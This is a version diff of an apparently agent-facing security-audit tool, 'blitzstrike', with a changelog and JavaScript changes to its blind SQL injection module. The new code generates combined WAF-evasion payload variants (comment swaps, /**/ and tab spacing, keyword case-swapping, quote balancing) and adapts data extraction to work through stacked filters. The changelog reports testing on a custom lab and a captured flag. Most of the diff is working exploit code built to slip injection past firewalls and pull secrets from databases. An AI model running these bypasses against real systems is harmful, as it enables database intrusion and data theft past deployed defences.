blitzstrike 2.4.164 → 2.4.165

package/CHANGELOG.md

@@ -5,6 +5,24 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.165] — 2026-10-11
+
+### Added — combined WAF-bypass for stacked filters (blind SQLi)
+
+- `blind_sqli_confirm` + `blind_sqli_extract` now generate COMBINED bypass variants
+  (space × comment × case), not single-technique ones: `/**/`+`#` (space-strip),
+  `/**/`+case+`#` (space+keyword strip), tab-as-space + case-swap, and quote-balance
+  (no trailing comment — the payload ends on an open string the query's quote closes)
+  for comment-strip WAFs that also break `-- `.
+- Extract's context-discovery now tries the same bypass variants (a stacked WAF
+  blocks the default oracle, so the byte-count reference must come from the working
+  variant), and the extraction `render` applies the winning space style (tab/`/**/`)
+  to the query expression's internal spaces too — so `(SELECT secret FROM flag)`
+  survives a space-strip WAF.
+- Verified end-to-end on a custom 5-level WAF lab (baseline → space → keyword →
+  space+keyword → space+keyword+comment): all 5 levels now confirm + extract, and
+  the level-5 flag extracts with exact case (`FLAG{B1nD_SQLi_M4st3r_ByP4ss_2026}`).
+
 ## [2.4.164] — 2026-10-11
 
 ### Fixed — binary-search case regression on case-insensitive DBMS

package/dist/index.js

@@ -62469,26 +62469,55 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
 }
 function oracleBypassVariants(base) {
   const body = base.replace(/^'/, "");
-  return [
-    base,
-    `"${body}`,
-    body,
-    `')${body}`,
-    `")${body}`,
-    base.replace("-- -", "#"),
-    base.replace(/ /g, "/**/"),
-    base.replace(/AND/g, "aNd")
-  ];
+  const dash = body;
+  const hash = body.replace(/-- -$/, "#").replace(/--$/, "#");
+  const bal = body.replace(/(\d)=(\d)-- -/, "'$1'='$2");
+  const cs = (s) => s.replace(/AND/g, "aNd").replace(/OR/g, "oR").replace(/IF/g, "iF").replace(/SLEEP/g, "sLeEp");
+  const sp = (s, x) => x === " " ? s : s.replace(/ /g, x);
+  const out = [];
+  for (const cmt of [dash, hash, bal]) {
+    for (const x of [" ", "/**/", "\t"]) {
+      out.push(`'${sp(cmt, x)}`);
+      out.push(`'${sp(cs(cmt), x)}`);
+    }
+  }
+  out.push(`"${dash}`, dash, `')${dash}`, `")${dash}`, `"${hash}`, `')${hash}`, `")${hash}`);
+  return out;
 }
 function extractBypassVariants(tpl) {
   const fn = tpl.includes("SUBSTRING") ? "SUBSTRING" : "SUBSTR";
   const fns = [fn, fn === "SUBSTRING" ? "sUbStRiNg" : "sUbStR", fn === "SUBSTRING" ? "SUBSTR" : "SUBSTRING", "MID"];
   const contexts = ["'", '"', "", "')", '")'];
-  const variants = [];
-  for (const c of contexts)
-    for (const f of fns)
-      variants.push(tpl.replace(/^'/, c).replace(fn, f));
-  return variants;
+  const out = [];
+  for (const c of contexts) {
+    const base = tpl.replace(/^'/, c);
+    const dash = base;
+    const hash = base.replace(/-- -$/, "#").replace(/--$/, "#");
+    const bal = base.replace(/'(-- -|--)$/, "");
+    const combos = [
+      [dash, " ", false],
+      [hash, " ", false],
+      [dash, "/**/", false],
+      [dash, " ", true],
+      [bal, " ", false],
+      [hash, "/**/", false],
+      [hash, "/**/", true],
+      [hash, "\t", true],
+      [bal, "\t", true],
+      [bal, "/**/", true]
+    ];
+    for (const [cmt, s, swap] of combos) {
+      let b = cmt;
+      if (swap)
+        b = b.replace(fn, fns[1]).replace(/AND/g, "aNd");
+      if (s === "/**/")
+        b = b.replace(/ /g, "/**/");
+      else if (s === "\t")
+        b = b.replace(/ /g, "\t");
+      out.push(b);
+    }
+  }
+  return out;
 }
 function makeFetcher(base, param, method, bodyTpl, cookieName) {
   const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike)" };
@@ -62624,25 +62653,28 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
   let trueSize = -1, falseSize = -1;
   let ctxFound = false;
   if (channel === "boolean") {
-    for (const c of contexts) {
-      const tp = `${value}${p.oracle.boolean_true.replace(/^'/, c)}`;
-      const fp = `${value}${p.oracle.boolean_false.replace(/^'/, c)}`;
+    const btv = oracleBypassVariants(p.oracle.boolean_true);
+    const bfv = oracleBypassVariants(p.oracle.boolean_false);
+    for (let i = 0;i < btv.length; i++) {
+      const tp = `${value}${btv[i]}`, fp = `${value}${bfv[i]}`;
+      let diff = false, tN = -1, fN = -1;
       if (marker) {
-        if ((await getBody(tp)).includes(marker) !== (await getBody(fp)).includes(marker)) {
-          ctx = c;
-          ctxFound = true;
-          break;
-        }
+        const tb = await getBody(tp), fb = await getBody(fp);
+        diff = tb.includes(marker) !== fb.includes(marker);
+        tN = tb.length;
+        fN = fb.length;
       } else {
-        const t = await getSize(tp);
-        const f = await getSize(fp);
-        if (t >= 0 && f >= 0 && t !== f) {
-          ctx = c;
-          trueSize = t;
-          falseSize = f;
-          ctxFound = true;
-          break;
-        }
+        const t = await getSize(tp), f = await getSize(fp);
+        diff = t >= 0 && f >= 0 && t !== f;
+        tN = t;
+        fN = f;
+      }
+      if (diff) {
+        ctx = "'";
+        trueSize = tN;
+        falseSize = fN;
+        ctxFound = true;
+        break;
       }
     }
     if (!ctxFound)
@@ -62662,7 +62694,11 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
   const caseInsensitive = p.dbms === "mysql" || p.dbms === "mssql";
   const bsCharset = caseInsensitive ? "0123456789abcdefghijklmnopqrstuvwxyz" : "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
   const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
-  const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
+  const render = (tpl, pos, ch) => {
+    const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes("/**/") ? "/**/" : " ";
+    const q = spaceStyle === " " ? queryExpr : queryExpr.replace(/ /g, spaceStyle);
+    return `${value}${tpl.replace(/\{query\}/g, q).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
+  };
   const isTrue = async (tpl, pos, ch) => {
     if (channel === "time")
       return await getTime(render(tpl, pos, ch)) > 600;

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.164",
+  "version": "2.4.165",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {